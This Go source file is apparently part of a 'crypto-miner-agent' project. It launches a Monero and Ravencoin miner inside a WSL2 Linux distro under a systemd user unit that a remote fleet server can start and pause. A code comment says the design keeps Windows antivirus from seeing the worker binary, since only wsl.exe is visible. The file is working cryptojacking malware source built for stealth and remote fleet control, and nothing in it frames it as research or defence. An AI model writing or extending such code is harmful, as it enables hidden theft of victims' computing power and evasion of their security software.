package miner

import (
	"fmt"
	"log"
	"os"
	"os/exec"
	"strings"
	"sync"

	"crypto-miner-agent/config"
)

const (
	defaultWSLDistro       = "Ubuntu"
	defaultWSLWorkerPath   = "/opt/aetherforge/worker"
	wslSystemdUnitName     = "aetherforge-miner.service"
)

// wslExecCommand is exec.Command; tests override via SetWSLExecCommand.
var wslExecCommand = exec.Command

// SetWSLExecCommand restores the default when fn is nil.
func SetWSLExecCommand(fn func(name string, args ...string) *exec.Cmd) {
	if fn == nil {
		wslExecCommand = exec.Command
		return
	}
	wslExecCommand = fn
}

// WSLLauncher supervises CPU mining inside a WSL2 distro via wsl.exe -e.
// Windows AV sees only wsl.exe — the worker binary lives in the Linux VFS.
//
// Remote start_mining / pause can toggle the systemd user unit without spawning
// a new process tree on each resume:
//
//	wsl.exe -d <distro> -e systemctl --user start aetherforge-miner.service
//	wsl.exe -d <distro> -e systemctl --user stop aetherforge-miner.service
//
// Install the unit once under ~/.config/systemd/user/ in the target distro.
// When systemd is unavailable, Start falls back to wsl.exe -e bash -lc with
// the same AETHERFORGE_* env vars as the container tier (same XMR wallet).
type WSLLauncher struct {
	cfg    config.RuntimeConfig
	wsl    WSLRuntimeInfo
	distro string

	mu      sync.Mutex
	running bool
	cmd     *exec.Cmd
}

// NewWSLLauncher builds a launcher when WSL2 is available on Windows.
func NewWSLLauncher(cfg config.RuntimeConfig, wslRT WSLRuntimeInfo) (*WSLLauncher, error) {
	if !wslRT.Available || wslRT.CLI == "" {
		return nil, fmt.Errorf("WSL2 not available (no wsl.exe or no distros)")
	}
	distro := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_DISTRO"))
	if distro == "" && len(wslRT.Distros) > 0 {
		distro = wslRT.Distros[0]
	}
	if distro == "" {
		distro = defaultWSLDistro
	}
	return &WSLLauncher{cfg: cfg, wsl: wslRT, distro: distro}, nil
}

// Start launches mining inside WSL (idempotent while already running).
func (l *WSLLauncher) Start() error {
	l.mu.Lock()
	defer l.mu.Unlock()
	if l.running {
		return nil
	}

	// Prefer systemd user unit when installed in the distro.
	if err := wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "start", wslSystemdUnitName).Run(); err == nil {
		l.running = true
		log.Printf("[wsl] started %s via systemd user unit (distro=%s)", wslSystemdUnitName, l.distro)
		return nil
	}

	args := l.buildDirectExecArgs()
	cmd := wslExecCommand(l.wsl.CLI, args...)
	cmd.Stdout = nil
	cmd.Stderr = nil
	if err := cmd.Start(); err != nil {
		return fmt.Errorf("wsl worker start failed: %w", err)
	}
	l.cmd = cmd
	l.running = true
	log.Printf("[wsl] started worker in distro=%s wallet=%s", l.distro, l.cfg.Wallet)
	go l.waitExit()
	return nil
}

func (l *WSLLauncher) buildDirectExecArgs() []string {
	worker := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_WORKER"))
	if worker == "" {
		worker = defaultWSLWorkerPath
	}
	script := fmt.Sprintf("export %s; exec %s",
		strings.Join(l.wslEnv(), " "),
		worker,
	)
	return []string{"-d", l.distro, "-e", "bash", "-lc", script}
}

func (l *WSLLauncher) wslEnv() []string {
	threads := l.cfg.EffectiveThreads()
	pairs := []string{
		"AETHERFORGE_SERVER_URL=" + l.cfg.ServerURL,
		"AETHERFORGE_WALLET=" + l.cfg.Wallet,
		"AETHERFORGE_WORKER=" + l.cfg.WorkerName,
		"AETHERFORGE_POOL_HOST=" + l.cfg.PoolHost,
		"AETHERFORGE_POOL_PORT=" + fmt.Sprintf("%d", l.cfg.PoolPort),
		"AETHERFORGE_POOL_TLS=" + boolEnv(l.cfg.PoolTLS),
		"AETHERFORGE_POOL_PASS=" + l.cfg.PoolPass,
		"AETHERFORGE_THREADS=" + fmt.Sprintf("%d", threads),
		"AETHERFORGE_MINER_EXECUTION=" + ExecutionInProcess,
		"AETHERFORGE_FLEET_SECRET=" + l.cfg.FleetSecret,
	}
	if l.cfg.RVNWallet != "" {
		pairs = append(pairs,
			"AETHERFORGE_RVN_WALLET="+l.cfg.RVNWallet,
			"AETHERFORGE_RVN_POOL_HOST="+l.cfg.RVNPoolHost,
			"AETHERFORGE_RVN_POOL_PORT="+fmt.Sprintf("%d", l.cfg.RVNPoolPort),
			"AETHERFORGE_GPU_ENABLED="+boolEnv(l.cfg.GPUEnabled),
		)
	}
	return pairs
}

func (l *WSLLauncher) waitExit() {
	if l.cmd == nil {
		return
	}
	err := l.cmd.Wait()
	l.mu.Lock()
	l.running = false
	l.cmd = nil
	l.mu.Unlock()
	if err != nil {
		log.Printf("[wsl] worker exited: %v — host will fall back if configured", err)
	} else {
		log.Printf("[wsl] worker stopped")
	}
}

// Stop halts the WSL workload (systemd unit or direct process).
func (l *WSLLauncher) Stop() {
	l.mu.Lock()
	running := l.running
	l.mu.Unlock()
	if !running {
		return
	}
	_ = wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "stop", wslSystemdUnitName).Run()
	l.mu.Lock()
	if l.cmd != nil && l.cmd.Process != nil {
		_ = l.cmd.Process.Kill()
	}
	l.running = false
	l.cmd = nil
	l.mu.Unlock()
}

// Running reports whether the launcher believes the WSL worker is active.
func (l *WSLLauncher) Running() bool {
	l.mu.Lock()
	defer l.mu.Unlock()
	return l.running
}

// ToggleWSLMining starts or stops the systemd user unit via wsl.exe.
// Used by remote start_mining / pause when a WSL sidecar is the active tier.
func ToggleWSLMining(wslRT WSLRuntimeInfo, distro string, start bool) error {
	if !wslRT.Available || wslRT.CLI == "" {
		return fmt.Errorf("WSL2 not available")
	}
	if strings.TrimSpace(distro) == "" {
		if len(wslRT.Distros) > 0 {
			distro = wslRT.Distros[0]
		} else {
			distro = defaultWSLDistro
		}
	}
	verb := "stop"
	if start {
		verb = "start"
	}
	cmd := wslExecCommand(wslRT.CLI, "-d", distro, "-e", "systemctl", "--user", verb, wslSystemdUnitName)
	if err := cmd.Run(); err != nil {
		return fmt.Errorf("wsl systemctl %s %s: %w", verb, wslSystemdUnitName, err)
	}
	return nil
}